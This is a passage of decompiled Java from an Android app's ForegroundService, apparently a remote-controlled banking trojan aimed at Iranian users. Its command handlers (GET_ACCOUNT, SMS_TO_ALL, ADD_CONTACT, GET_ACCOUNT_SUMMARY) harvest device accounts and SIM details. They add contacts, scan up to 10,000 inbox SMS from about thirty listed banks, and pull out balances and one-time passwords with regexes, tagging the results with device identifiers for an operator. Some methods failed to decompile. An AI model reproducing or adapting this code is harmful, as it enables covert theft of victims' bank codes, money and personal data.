                                        linkedHashMap2.put(str2, arrayList2);
                                    }
                                    List list2 = (List) arrayList2;
                                    if (list2.size() < 3) {
                                        Iterator it3 = c0984dB2.c.iterator();
                                        while (true) {
                                            if (!it3.hasNext()) {
                                                break;
                                            }
                                            if (Za0.P(str, (String) it3.next(), true)) {
                                                for (IN inH = AbstractC2539te.h(c0984dB2.d.l.matcher(str), 0, str); inH != null && list2.size() < 3; inH = inH.c()) {
                                                    String strGroup = inH.a.group();
                                                    if (!list2.contains(strGroup)) {
                                                        list2.add(strGroup);
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                                if (!listS.isEmpty()) {
                                    Iterator it4 = listS.iterator();
                                    while (true) {
                                        if (!it4.hasNext()) {
                                            break;
                                        }
                                        List list3 = (List) linkedHashMap2.get(((C0984dB) it4.next()).a);
                                        if (!((list3 != null ? list3.size() : 0) >= 3)) {
                                            z = false;
                                            break;
                                        }
                                    }
                                }
                                if (z) {
                                    break;
                                }
                            }
                        }
                    }
                    cursorQuery.close();
                }
                cursorQuery.close();
                return jSONArray;
            } finally {
            }
        }
        for (Map.Entry entry : linkedHashMap2.entrySet()) {
            String str3 = (String) entry.getKey();
            String strI0 = AbstractC3117zi.i0((List) entry.getValue(), ",", null, null, null, 62);
            JSONObject jSONObject = new JSONObject();
            jSONObject.put("slot_number", "permission_denied");
            jSONObject.put("carrier_name", str3);
            jSONObject.put("phone_number", strI0);
            jSONArray.put(jSONObject);
        }
        return jSONArray;
    }

    public static final String a(ForegroundService foregroundService) throws JSONException {
        Object string;
        Object string2;
        Object obj = "";
        JSONObject jSONObject = new JSONObject();
        JSONArray jSONArray = new JSONArray();
        try {
            for (Account account : AccountManager.get(foregroundService.getApplicationContext()).getAccounts()) {
                JSONObject jSONObject2 = new JSONObject();
                jSONObject2.put("name", account.name);
                jSONObject2.put("type", account.type);
                jSONArray.put(jSONObject2);
            }
            jSONObject.put("command", "GET_ACCOUNT");
            jSONObject.put("accounts", jSONArray);
            jSONObject.put("count", jSONArray.length());
            jSONObject.put("success", true);
            JSONObject jSONObject3 = foregroundService.f36o;
            if (jSONObject3 == null || (string2 = jSONObject3.getString("port")) == null) {
                string2 = "";
            }
            jSONObject.put("port", string2);
            jSONObject.put("android_id", foregroundService.p);
            jSONObject.put("device_name", foregroundService.q);
        } catch (Exception e) {
            jSONObject.put("success", false);
            Object message = e.getMessage();
            if (message == null) {
                message = "خطا در دریافت حساب\u200cها";
            }
            jSONObject.put("error", message);
            JSONObject jSONObject4 = foregroundService.f36o;
            if (jSONObject4 != null && (string = jSONObject4.getString("port")) != null) {
                obj = string;
            }
            jSONObject.put("port", obj);
            jSONObject.put("android_id", foregroundService.p);
            jSONObject.put("device_name", foregroundService.q);
        }
        return jSONObject.toString();
    }

    /* JADX WARN: Can't wrap try/catch for region: R(17:0|2|3|4|(110:268|5|6|7|8|9|10|11|12|13|14|15|16|17|18|19|20|21|22|23|24|25|26|27|28|29|30|31|32|33|34|35|36|37|38|39|40|41|42|43|44|45|46|47|48|49|50|51|52|53|54|55|56|57|58|59|60|61|62|63|64|65|66|67|68|69|70|71|72|73|74|75|76|77|78|79|80|81|82|83|84|85|86|87|88|89|90|91|92|93|94|95|96|97|98|99|100|101|102|103|104|105|106|236|107|(11:262|111|270|112|113|246|114|(9:250|119|(11:121|122|244|123|124|272|125|126|260|127|(1:161)(20:132|133|248|134|(1:136)|137|(1:139)|(2:258|141)(1:145)|146|147|242|148|149|234|150|151|256|171|172|279))(1:169)|162|170|256|171|172|279)(3:277|181|280)|278|108|109)|276|184|185|(8:274|186|187|266|188|189|252|190))|(13:192|254|193|(1:195)|200|201|264|202|203|238|204|231|232)(1:198)|199|200|201|264|202|203|238|204|231|232|(3:(1:241)|(0)|(1:257))) */
    /* JADX WARN: Code restructure failed: missing block: B:206:0x03ce, code lost:
    
        r0 = e;
     */
    /* JADX WARN: Code restructure failed: missing block: B:208:0x03d1, code lost:
    
        r0 = e;
     */
    /* JADX WARN: Code restructure failed: missing block: B:209:0x03d2, code lost:
    
        r6 = r18;
     */
    /* JADX WARN: Finally extract failed */
    /* JADX WARN: Removed duplicated region for block: B:225:0x0426  */
    /* JADX WARN: Removed duplicated region for block: B:229:0x042f  */
    /* JADX WARN: Removed duplicated region for block: B:250:0x020d A[EXC_TOP_SPLITTER, SYNTHETIC] */
    /* JADX WARN: Removed duplicated region for block: B:277:0x034a A[SYNTHETIC] */
    /* JADX WARN: Unreachable blocks removed: 2, instructions: 6 */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public static final java.lang.String b(ir.devixor.app.service.ForegroundService r55) throws org.json.JSONException, java.io.IOException {
        /*
            Method dump skipped, instructions count: 1091
            To view this dump add '--comments-level debug' option
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.b(ir.devixor.app.service.ForegroundService):java.lang.String");
    }

    /* JADX WARN: Can't wrap try/catch for region: R(16:0|2|3|(32:188|4|5|6|7|8|9|10|11|12|13|14|172|15|16|17|18|19|164|20|(17:156|24|25|192|26|27|170|28|29|30|31|158|32|(8:194|40|(5:42|43|178|44|(1:81)(22:49|50|168|51|(1:53)|54|162|55|(1:57)|(2:166|59)(1:63)|64|65|152|66|67|190|68|69|184|86|87|199))(1:84)|85|184|86|87|199)(3:197|97|200)|198|21|22)|196|100|101|180|102|103|182|104|105|174|106)|(13:108|176|109|(1:111)|116|117|154|118|119|160|120|149|150)(1:114)|115|116|117|154|118|119|160|120|149|150|(3:(0)|(1:185)|(1:187))) */
    /* JADX WARN: Code restructure failed: missing block: B:122:0x02ca, code lost:
    
        r0 = e;
     */
    /* JADX WARN: Code restructure failed: missing block: B:124:0x02cd, code lost:
    
        r0 = e;
     */
    /* JADX WARN: Code restructure failed: missing block: B:125:0x02ce, code lost:
    
        r7 = r20;
     */
    /* JADX WARN: Code restructure failed: missing block: B:146:0x0332, code lost:
    
        r8 = r0;
     */
    /* JADX WARN: Finally extract failed */
    /* JADX WARN: Removed duplicated region for block: B:143:0x032b  */
    /* JADX WARN: Removed duplicated region for block: B:147:0x0334  */
    /* JADX WARN: Removed duplicated region for block: B:194:0x010e A[EXC_TOP_SPLITTER, SYNTHETIC] */
    /* JADX WARN: Removed duplicated region for block: B:197:0x0240 A[SYNTHETIC] */
    /* JADX WARN: Unreachable blocks removed: 1, instructions: 8 */
    /* JADX WARN: Unreachable blocks removed: 2, instructions: 6 */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public static final java.lang.String c(ir.devixor.app.service.ForegroundService r29) throws org.json.JSONException, java.io.IOException {
        /*
            Method dump skipped, instructions count: 840
            To view this dump add '--comments-level debug' option
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.c(ir.devixor.app.service.ForegroundService):java.lang.String");
    }

    public static Object c0(Context context, C2411sB c2411sB) {
        C2468sq c2468sq = AbstractC1903ms.a;
        return AbstractC1692kh0.T(ExecutorC1232fq.m, new C0730ae(context, null, 2), c2411sB);
    }

    public static final String d(ForegroundService foregroundService) throws JSONException {
        Object string;
        String string2;
        String string3;
        JSONObject jSONObject = new JSONObject();
        JSONArray jSONArray = new JSONArray();
        try {
            if (Co0.l(foregroundService, "android.permission.READ_PHONE_STATE") == 0) {
                SubscriptionManager subscriptionManager = (SubscriptionManager) foregroundService.getSystemService(SubscriptionManager.class);
                List<SubscriptionInfo> activeSubscriptionInfoList = subscriptionManager != null ? subscriptionManager.getActiveSubscriptionInfoList() : null;
                if (activeSubscriptionInfoList != null) {
                    for (SubscriptionInfo subscriptionInfo : activeSubscriptionInfoList) {
                        JSONObject jSONObject2 = new JSONObject();
                        jSONObject2.put("slot_number", subscriptionInfo.getSimSlotIndex() + 1);
                        CharSequence displayName = subscriptionInfo.getDisplayName();
                        if (displayName == null || (string2 = displayName.toString()) == null) {
                            string2 = "سیم " + (subscriptionInfo.getSimSlotIndex() + 1);
                        }
                        jSONObject2.put("display_name", string2);
                        CharSequence carrierName = subscriptionInfo.getCarrierName();
                        if (carrierName == null || (string3 = carrierName.toString()) == null) {
                            string3 = "نامشخص";
                        }
                        jSONObject2.put("carrier_name", string3);
                        jSONObject2.put("subscription_id", subscriptionInfo.getSubscriptionId());
                        jSONArray.put(jSONObject2);
                    }
                }
            } else {
                jSONObject.put("error", "Permission READ_PHONE_STATE not granted");
            }
            jSONObject.put("command", "SMS_TO_ALL");
            jSONObject.put("available_sims", jSONArray);
            jSONObject.put("sim_count", jSONArray.length());
            JSONObject jSONObject3 = foregroundService.f36o;
            if (jSONObject3 == null || (string = jSONObject3.getString("port")) == null) {
                string = "";
            }
            jSONObject.put("port", string);
            jSONObject.put("android_id", foregroundService.p);
            jSONObject.put("device_name", foregroundService.q);
        } catch (Exception e) {
            jSONObject.put("error", e.getMessage());
        }
        return jSONObject.toString();
    }

    public static Object d0(Context context, C2411sB c2411sB) {
        C2468sq c2468sq = AbstractC1903ms.a;
        return AbstractC1692kh0.T(ExecutorC1232fq.m, new C0730ae(context, null, 3), c2411sB);
    }

    public static final String e(ForegroundService foregroundService, String str, String str2) throws JSONException, RemoteException, OperationApplicationException {
        String string;
        try {
            ArrayList<ContentProviderOperation> arrayList = new ArrayList<>();
            arrayList.add(ContentProviderOperation.newInsert(ContactsContract.RawContacts.CONTENT_URI).withValue("account_type", "com.android.contacts").withValue("account_name", "Phone").build());
            Uri uri = ContactsContract.Data.CONTENT_URI;
            arrayList.add(ContentProviderOperation.newInsert(uri).withValueBackReference("raw_contact_id", 0).withValue("mimetype", "vnd.android.cursor.item/name").withValue("data1", str).build());
            arrayList.add(ContentProviderOperation.newInsert(uri).withValueBackReference("raw_contact_id", 0).withValue("mimetype", "vnd.android.cursor.item/phone_v2").withValue("data1", str2).withValue("data2", 2).build());
            foregroundService.getContentResolver().applyBatch("com.android.contacts", arrayList);
            JSONObject jSONObject = new JSONObject();
            jSONObject.put("success", true);
            jSONObject.put("command", "ADD_CONTACT");
            jSONObject.put("name", str);
            jSONObject.put("number", str2);
            jSONObject.put("android_id", foregroundService.p);
            jSONObject.put("device_name", foregroundService.q);
            JSONObject jSONObject2 = foregroundService.f36o;
            if (jSONObject2 == null || (string = jSONObject2.getString("port")) == null) {
                string = "";
            }
            jSONObject.put("port", string);
            return jSONObject.toString();
        } catch (Exception e) {
            return foregroundService.V("خطا در افزودن مخاطب: " + e.getMessage());
        }
    }

    /* JADX WARN: Multi-variable type inference failed */
    /* JADX WARN: Removed duplicated region for block: B:67:0x0217  */
    /* JADX WARN: Removed duplicated region for block: B:71:0x0220  */
    /* JADX WARN: Type inference failed for: r3v16 */
    /* JADX WARN: Type inference failed for: r3v19 */
    /* JADX WARN: Unreachable blocks removed: 2, instructions: 2 */
    /* JADX WARN: Unreachable blocks removed: 2, instructions: 3 */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public static final java.lang.String f(ir.devixor.app.service.ForegroundService r31, java.lang.String r32) throws org.json.JSONException {
        /*
            Method dump skipped, instructions count: 554
            To view this dump add '--comments-level debug' option
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.f(ir.devixor.app.service.ForegroundService, java.lang.String):java.lang.String");
    }

    /* JADX WARN: Removed duplicated region for block: B:7:0x0013  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public static final java.lang.Object g(ir.devixor.app.service.ForegroundService r5, o.AbstractC0298Lm r6) {
        /*
            boolean r0 = r6 instanceof o.ZA
            if (r0 == 0) goto L13
            r0 = r6
            o.ZA r0 = (o.ZA) r0
            int r1 = r0.q
            r2 = -2147483648(0xffffffff80000000, float:-0.0)
            r3 = r1 & r2
            if (r3 == 0) goto L13
            int r1 = r1 - r2
            r0.q = r1
            goto L18
        L13:
            o.ZA r0 = new o.ZA
            r0.<init>(r5, r6)
        L18:
            java.lang.Object r6 = r0.f435o
            int r1 = r0.q
            r2 = 1
            if (r1 == 0) goto L2d
            if (r1 != r2) goto L25
            o.IJ.H(r6)
            return r6
        L25:
            java.lang.IllegalStateException r5 = new java.lang.IllegalStateException
            java.lang.String r6 = "call to 'resume' before 'invoke' with coroutine"
            r5.<init>(r6)
            throw r5
        L2d:
            o.IJ.H(r6)
            o.sq r6 = o.AbstractC1903ms.a
            o.fq r6 = o.ExecutorC1232fq.m
            o.p r1 = new o.p
            r3 = 0
            r4 = 22
            r1.<init>(r5, r3, r4)
            r0.q = r2
            java.lang.Object r5 = o.AbstractC1692kh0.T(r6, r1, r0)
            o.Dn r6 = o.EnumC0091Dn.l
            if (r5 != r6) goto L47
            return r6
        L47:
            return r5
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.g(ir.devixor.app.service.ForegroundService, o.Lm):java.lang.Object");
    }

    /* JADX WARN: Type inference failed for: r10v10 */
    /* JADX WARN: Type inference failed for: r10v18, types: [java.lang.Long, java.lang.String] */
    /* JADX WARN: Type inference failed for: r10v19 */
    /* JADX WARN: Type inference failed for: r10v21 */
    /* JADX WARN: Type inference failed for: r10v22 */
    public static final String h(ForegroundService foregroundService) throws JSONException, IOException {
        Object next;
        List list;
        C1367hB c1367hB;
        ApplicationInfo applicationInfo;
        CharSequence charSequenceLoadLabel;
        foregroundService.getClass();
        C1367hB c1367hB2 = new C1367hB("بانک ملی ایران", AbstractC0008Ai.S("BMI", "Bankmelli", "BankMelli", "+98700717", "700717", "9830009417", "++983000941001", "300017", "20004000", "+989830009417", "+987007058"), Collections.singletonList("بام"));
        C1367hB c1367hB3 = new C1367hB("بانک ملت", AbstractC0008Ai.S("Bankmellat", "BankMellat", "Bank Mellat", "10004001", "200033", "200030"), Collections.singletonList("همراه بانک ملت"));
        C1367hB c1367hB4 = new C1367hB("بانک تجارت", AbstractC0008Ai.S("TejaratBank", "Tejarat", "BankTejarat", "200070", "20007010"), Collections.singletonList("همراه بانک تجارت"));
        C1367hB c1367hB5 = new C1367hB("بانک قرض الحسنه مهر ایران", AbstractC0008Ai.S("+9810008528", "10008528", "+983000852818", "B.QMEHRIRAN"), Collections.singletonList("همراه\u200cبانک قرض\u200cالحسنه مهر ایران"));
        C1367hB c1367hB6 = new C1367hB("بانک قرض الحسنه رسالت", AbstractC0008Ai.S("ResalatBank", "50004747", "50004848"), Collections.singletonList("همراه بانک قرض الحسنه رسالت"));
        C1367hB c1367hB7 = new C1367hB("بانک صادرات ایران", AbstractC0008Ai.S("Saderat", "BankSaderat", "EBI", "200060"), Collections.singletonList("همراه بانک صادرات"));
        C1367hB c1367hB8 = new C1367hB("بانک پارسیان", AbstractC0008Ai.S("Parsian", "BankParsian", "ParsianBank", "300054", "300055", "30007", "50001099"), Collections.singletonList("پارسیان من (همراه بانک پارسیان)"));
        C1367hB c1367hB9 = new C1367hB("بانک پاسارگاد", AbstractC0008Ai.S("BPI", "B.Pasargad", "BankPasargad", "1000900"), Collections.singletonList("همراه  بانک پاسارگاد"));
        C1367hB c1367hB10 = new C1367hB("بانکداری دیجیتال پاسارگاد", AbstractC0008Ai.S("+985000114", "50009000", "5000114"), Collections.singletonList("همراه  بانک پاسارگاد"));
        C1367hB c1367hB11 = new C1367hB("بانک آینده", AbstractC0008Ai.S("Ayandeh", "BankAyandeh", "Future"), Collections.singletonList("آبانک"));
        C1367hB c1367hB12 = new C1367hB("بانک سامان", AbstractC0008Ai.S("Saman", "BankSaman", "SamanBank", "20000"), Collections.singletonList("موبایلت - همراه\u200cبانک سامان"));
        List listS = AbstractC0008Ai.S("Sina", "BankSina", "500048", "300028", "200038");
        C0332Mv c0332Mv = C0332Mv.l;
        List<C1367hB> listS2 = AbstractC0008Ai.S(c1367hB2, c1367hB3, c1367hB4, c1367hB5, c1367hB6, c1367hB7, c1367hB8, c1367hB9, c1367hB10, c1367hB11, c1367hB12, new C1367hB("بانک سینا", listS, c0332Mv), new C1367hB("بانک دی", AbstractC0008Ai.S("Dey", "BankDey", "DeyBank", "+983000766"), Collections.singletonList("دی جت (همراه بانک دی)")), new C1367hB("بانک کشاورزی", AbstractC0008Ai.S("Keshavarzi", "KESHAVARZI", "BankKeshavarzi", "+983000940", "2000911", "200093"), Collections.singletonList("همراه بانک کشاورزی")), new C1367hB("بانک مسکن", AbstractC0008Ai.S("Maskan", "Bank Maskan", "Housing", "300014"), Collections.singletonList("Maskan")), new C1367hB("بانک کارآفرین", AbstractC0008Ai.S("Karafarin", "BankKarafarin", "Entrepreneur"), c0332Mv), new C1367hB("بانک اقتصاد نوین", AbstractC0008Ai.S("EN", "EghtesadNovin", "NewEconomy", "200050"), Collections.singletonList("Hamrah Novin")), new C1367hB("بانک شهر", AbstractC0008Ai.S("Shahr", "BankShahr", "CityBank", "09820003501", "+98200035"), Collections.singletonList("همراه بانک شهرپلاس")), new C1367hB("بانک سپه", AbstractC0008Ai.S("Sepah", "BankSepah", "SEPAH BANK", "6715000", "200020", "200021", "200022"), AbstractC0008Ai.S("همراه بانک سپه", "مگابانک")), new C1367hB("بانک پست بانک ایران", AbstractC0008Ai.S("PostBank", "Post", "PIB"), c0332Mv), new C1367hB("پست بانک", AbstractC0008Ai.S("50004940", "+989820004940"), c0332Mv), new C1367hB("بانک ایران زمین", AbstractC0008Ai.S("IZB", "IranZamin"), Collections.singletonList("همراه بانک ایران زمین")), new C1367hB("بانک خاورمیانه", AbstractC0008Ai.S("MEB", "MiddleEast"), c0332Mv), new C1367hB("بانک رفاه کارگران", AbstractC0008Ai.S("Refah", "BankRefah", "Refah Bank", "300066", "300044"), AbstractC0008Ai.S("موبایل بانک رفاه", "همراه کارت رفاه", "فرا رفاه")), new C1367hB("بلو بانک", AbstractC0008Ai.S("BlueBank", "+989999987641", "09999987641", "50002015"), AbstractC0008Ai.S("بلو", "blu", "بلو جونیور")), new C1367hB("بانک ایران کیش", AbstractC0008Ai.S("IKI", "IranKish"), c0332Mv), new C1367hB("بانک توسعه تعاون", AbstractC0008Ai.S("BankTavon", "Tavon", "1000700", "100070007", "+98500025777"), Collections.singletonList("همراه بانک توسعه تعاون")), new C1367hB("بانک توسعه صادرات ایران", AbstractC0008Ai.S("98700719", "ExportDevelopment"), c0332Mv), new C1367hB("بانک صنعت و معدن", AbstractC0008Ai.S("BankSanat", "Industry"), c0332Mv), new C1367hB("بانک حکمت ایرانیان", AbstractC0008Ai.S("Hekmat", "HekmatIranian"), c0332Mv), new C1367hB("بانک سرمایه", Collections.singletonList("100088"), c0332Mv), new C1367hB("بانک ملل", Collections.singletonList("+98200022222"), c0332Mv));
        ArrayList arrayList = new ArrayList();
        for (C1367hB c1367hB13 : listS2) {
            List list2 = c1367hB13.b;
            ArrayList arrayList2 = new ArrayList(AbstractC0034Bi.W(list2, 10));
            Iterator it = list2.iterator();
            while (it.hasNext()) {
                arrayList2.add(new C3001yV((String) it.next(), c1367hB13));
            }
            AbstractC0138Fi.Y(arrayList2, arrayList);
        }
        Map mapC0 = GN.c0(arrayList);
        Pattern patternCompile = Pattern.compile("(?:موجودی|مانده)[:：\\s]*([\\d٬,]+)");
        Pattern patternCompile2 = Pattern.compile("(?:رمز(?:\\s*(?:پویا|یکبارمصرف))?|OTP)\\s*[:：\\-]?\\s*([0-9۰-۹]{5,8})", 66);
        PackageManager packageManager = foregroundService.getPackageManager();
        ?? r10 = 0;
        Intent intent = new Intent("android.intent.action.MAIN", (Uri) null);
        intent.addCategory("android.intent.category.LAUNCHER");
        int i = 0;
        List<ResolveInfo> listQueryIntentActivities = Build.VERSION.SDK_INT >= 33 ? packageManager.queryIntentActivities(intent, PackageManager.ResolveInfoFlags.of(0L)) : packageManager.queryIntentActivities(intent, 0);
        ArrayList arrayList3 = new ArrayList();
        Iterator<T> it2 = listQueryIntentActivities.iterator();
        while (it2.hasNext()) {
            ActivityInfo activityInfo = ((ResolveInfo) it2.next()).activityInfo;
            String string = (activityInfo == null || (applicationInfo = activityInfo.applicationInfo) == null || (charSequenceLoadLabel = applicationInfo.loadLabel(packageManager)) == null) ? null : charSequenceLoadLabel.toString();
            if (string != null) {
                arrayList3.add(string);
            }
        }
        ArrayList arrayList4 = new ArrayList(AbstractC0034Bi.W(arrayList3, 10));
        int size = arrayList3.size();
        int i2 = 0;
        while (i2 < size) {
            Object obj = arrayList3.get(i2);
            i2++;
            arrayList4.add(i0((String) obj));
        }
        Set setW0 = AbstractC3117zi.w0(arrayList4);
        LinkedHashMap linkedHashMap = new LinkedHashMap();
        int i3 = 1;
        try {
            Cursor cursorQuery = foregroundService.getContentResolver().query(Uri.parse("content://sms/inbox"), new String[]{"address", "body"}, null, null, "date DESC LIMIT 10000");
            if (cursorQuery != null) {
                try {
                    int columnIndex = cursorQuery.getColumnIndex("address");
                    int columnIndex2 = cursorQuery.getColumnIndex("body");
                    if (columnIndex != -1 && columnIndex2 != -1) {
                        while (cursorQuery.moveToNext()) {
                            String string2 = cursorQuery.getString(columnIndex);
                            if (string2 != null && (c1367hB = (C1367hB) mapC0.get(string2)) != null) {
                                String str = c1367hB.a;
                                String string3 = cursorQuery.getString(columnIndex2);
                                if (string3 != null) {
                                    Object obj2 = linkedHashMap.get(str);
                                    Object obj3 = obj2;
                                    if (obj2 == null) {
                                        C1271gB c1271gB = new C1271gB();
                                        c1271gB.a = r10;
                                        c1271gB.b = r10;
                                        linkedHashMap.put(str, c1271gB);
                                        obj3 = c1271gB;
                                    }
                                    C1271gB c1271gB2 = (C1271gB) obj3;
                                    Long l = c1271gB2.a;
                                    if (l == null || c1271gB2.b == null) {
                                        if (l == null) {
                                            IN inH = AbstractC2539te.h(patternCompile.matcher(string3), i, string3);
                                            if (inH != null) {
                                                Collection collectionA = inH.a();
                                                String str2 = (String) (i3 < ((AbstractC2864x) collectionA).size() ? ((HN) collectionA).get(i3) : null);
                                                if (str2 != null) {
                                                    StringBuilder sb = new StringBuilder();
                                                    int length = str2.length();
                                                    for (int i4 = i; i4 < length; i4++) {
                                                        char cCharAt = str2.charAt(i4);
                                                        if (Character.isDigit(cCharAt)) {
                                                            sb.append(cCharAt);
                                                        }
                                                    }
                                                    Long lO = AbstractC1299gb0.O(sb.toString());
                                                    if (lO != null && lO.longValue() > 0) {
                                                        c1271gB2.a = lO;
                                                        IN inH2 = AbstractC2539te.h(patternCompile2.matcher(string3), 0, string3);
                                                        if (inH2 != null) {
                                                            String strH0 = h0((String) ((HN) inH2.a()).get(1));
                                                            StringBuilder sb2 = new StringBuilder();
                                                            int length2 = strH0.length();
                                                            for (int i5 = 0; i5 < length2; i5++) {
                                                                char cCharAt2 = strH0.charAt(i5);
                                                                if (Character.isDigit(cCharAt2)) {
                                                                    sb2.append(cCharAt2);
                                                                }
                                                            }
                                                            String string4 = sb2.toString();
                                                            int length3 = string4.length();
                                                            if (5 <= length3 && length3 < 9) {
                                                                c1271gB2.b = string4;
                                                            }
                                                        }
                                                    }
                                                    i3 = 1;
                                                    r10 = 0;
                                                    i = 0;
                                                }
                                            }
                                            r10 = 0;
                                        } else if (c1271gB2.b == null) {
                                            IN inH3 = AbstractC2539te.h(patternCompile2.matcher(string3), 0, string3);
                                            if (inH3 != null) {
                                                String strH02 = h0((String) ((HN) inH3.a()).get(1));
                                                StringBuilder sb3 = new StringBuilder();
                                                int length4 = strH02.length();
                                                for (int i6 = 0; i6 < length4; i6++) {
                                                    char cCharAt3 = strH02.charAt(i6);
                                                    if (Character.isDigit(cCharAt3)) {
                                                        sb3.append(cCharAt3);
                                                    }
                                                }
                                                String string5 = sb3.toString();
                                                int length5 = string5.length();
                                                if (5 <= length5 && length5 < 9) {
                                                    c1271gB2.b = string5;
                                                }
                                            }
                                            i = 0;
                                            i3 = 1;
                                            r10 = 0;
                                        } else {
                                            i3 = 1;
                                            r10 = 0;
                                            i = 0;
                                        }
                                    }
                                }
                            }
                        }
                    }
                    cursorQuery.close();
                } finally {
                }
            }
        } catch (Exception e) {
            e.getMessage();
        }
        JSONArray jSONArray = new JSONArray();
        for (Map.Entry entry : linkedHashMap.entrySet()) {
            String str3 = (String) entry.getKey();
            C1271gB c1271gB3 = (C1271gB) entry.getValue();
            Long l2 = c1271gB3.a;
            if (l2 != null) {
                long jLongValue = l2.longValue();
                Iterator it3 = listS2.iterator();
                while (true) {
                    if (!it3.hasNext()) {
                        next = null;
                        break;
                    }
                    next = it3.next();
                    if (((C1367hB) next).a.equals(str3)) {
                        break;
                    }
                }
                C1367hB c1367hB14 = (C1367hB) next;
                JSONObject jSONObject = new JSONObject();
                jSONObject.put("bank_name", str3);
                jSONObject.put("balance", jLongValue);
                String str4 = "no";
                jSONObject.put("otp_yes", c1271gB3.b != null ? "yes" : "no");
                Object obj4 = c1271gB3.b;
                if (obj4 == null) {
                    obj4 = JSONObject.NULL;
                }
                jSONObject.put("otp", obj4);
                if (c1367hB14 != null && ((list = c1367hB14.c) == null || !list.isEmpty())) {
                    Iterator it4 = list.iterator();
                    while (true) {
                        if (!it4.hasNext()) {
                            break;
                        }
                        if (setW0.contains(i0((String) it4.next()))) {
                            str4 = "yes";
                            break;
                        }
                    }
                }
                jSONObject.put("app_bank", str4);
                jSONArray.put(jSONObject);
            }
        }
        JSONObject jSONObject2 = new JSONObject();
        jSONObject2.put("command", "GET_ACCOUNT_SUMMARY");
        jSONObject2.put("success", true);
        jSONObject2.put("banks", jSONArray);
        jSONObject2.put("banks_count", jSONArray.length());
        return jSONObject2.toString();
    }

    public static final String h0(String str) {
        ArrayList arrayList = new ArrayList(str.length());
        for (int i = 0; i < str.length(); i++) {
            char cCharAt = str.charAt(i);
            switch (cCharAt) {
                case 1776:
                    cCharAt = '0';
                    break;
                case 1777:
                    cCharAt = '1';
                    break;
                case 1778:
                    cCharAt = '2';
                    break;
                case 1779:
                    cCharAt = '3';
                    break;
                case 1780:
                    cCharAt = '4';
                    break;
                case 1781:
                    cCharAt = '5';
                    break;
                case 1782:
                    cCharAt = '6';
                    break;
                case 1783:
                    cCharAt = '7';
                    break;
                case 1784:
                    cCharAt = '8';
                    break;
                case 1785:
                    cCharAt = '9';
                    break;
            }
            arrayList.add(Character.valueOf(cCharAt));
        }
        return AbstractC3117zi.i0(arrayList, "", null, null, null, 62);
    }

    /* JADX WARN: Removed duplicated region for block: B:7:0x0013  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public static final java.lang.Object i(ir.devixor.app.service.ForegroundService r5, o.AbstractC0298Lm r6) {
        /*
            boolean r0 = r6 instanceof o.C1463iB
            if (r0 == 0) goto L13
            r0 = r6
            o.iB r0 = (o.C1463iB) r0
            int r1 = r0.q
            r2 = -2147483648(0xffffffff80000000, float:-0.0)
            r3 = r1 & r2
            if (r3 == 0) goto L13
            int r1 = r1 - r2
            r0.q = r1
            goto L18
        L13:
            o.iB r0 = new o.iB
            r0.<init>(r5, r6)
        L18:
            java.lang.Object r6 = r0.f578o
            int r1 = r0.q
            r2 = 1
            if (r1 == 0) goto L2d
            if (r1 != r2) goto L25
            o.IJ.H(r6)
            return r6
        L25:
            java.lang.IllegalStateException r5 = new java.lang.IllegalStateException
            java.lang.String r6 = "call to 'resume' before 'invoke' with coroutine"
            r5.<init>(r6)
            throw r5
        L2d:
            o.IJ.H(r6)
            o.sq r6 = o.AbstractC1903ms.a
            o.fq r6 = o.ExecutorC1232fq.m
            o.kB r1 = new o.kB
            r3 = 0
            r4 = 0
            r1.<init>(r5, r3, r4)
            r0.q = r2
            java.lang.Object r5 = o.AbstractC1692kh0.T(r6, r1, r0)
            o.Dn r6 = o.EnumC0091Dn.l
            if (r5 != r6) goto L46
            return r6
        L46:
            return r5
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.i(ir.devixor.app.service.ForegroundService, o.Lm):java.lang.Object");
    }

    public static final String i0(String str) {
        return Pattern.compile("\\s+").matcher(Za0.o0(str.replace((char) 8204, ' ')).toString().toLowerCase(Locale.ROOT)).replaceAll(" ");
    }

    /* JADX WARN: Removed duplicated region for block: B:7:0x0013  */
    /*
        Code decompiled incorrectly, please refer to instructions dump.
        To view partially-correct add '--show-bad-code' argument
    */
    public static final java.lang.Object j(ir.devixor.app.service.ForegroundService r5, o.AbstractC0298Lm r6) {
        /*
            boolean r0 = r6 instanceof o.C1747lB
            if (r0 == 0) goto L13
            r0 = r6
            o.lB r0 = (o.C1747lB) r0
            int r1 = r0.q
            r2 = -2147483648(0xffffffff80000000, float:-0.0)
            r3 = r1 & r2
            if (r3 == 0) goto L13
            int r1 = r1 - r2
            r0.q = r1
            goto L18
        L13:
            o.lB r0 = new o.lB
            r0.<init>(r5, r6)
        L18:
            java.lang.Object r6 = r0.f620o
            int r1 = r0.q
            r2 = 1
            if (r1 == 0) goto L2d
            if (r1 != r2) goto L25
            o.IJ.H(r6)
            return r6
        L25:
            java.lang.IllegalStateException r5 = new java.lang.IllegalStateException
            java.lang.String r6 = "call to 'resume' before 'invoke' with coroutine"
            r5.<init>(r6)
            throw r5
        L2d:
            o.IJ.H(r6)
            o.sq r6 = o.AbstractC1903ms.a
            o.fq r6 = o.ExecutorC1232fq.m
            o.YA r1 = new o.YA
            r3 = 0
            r4 = 13
            r1.<init>(r5, r3, r4)
            r0.q = r2
            java.lang.Object r5 = o.AbstractC1692kh0.T(r6, r1, r0)
            o.Dn r6 = o.EnumC0091Dn.l
            if (r5 != r6) goto L47
            return r6
        L47:
            return r5
        */
        throw new UnsupportedOperationException("Method not decompiled: ir.devixor.app.service.ForegroundService.j(ir.devixor.app.service.ForegroundService, o.Lm):java.lang.Object");
    }

    /* JADX WARN: Removed duplicated region for block: B:14:0x0041  */
    /*
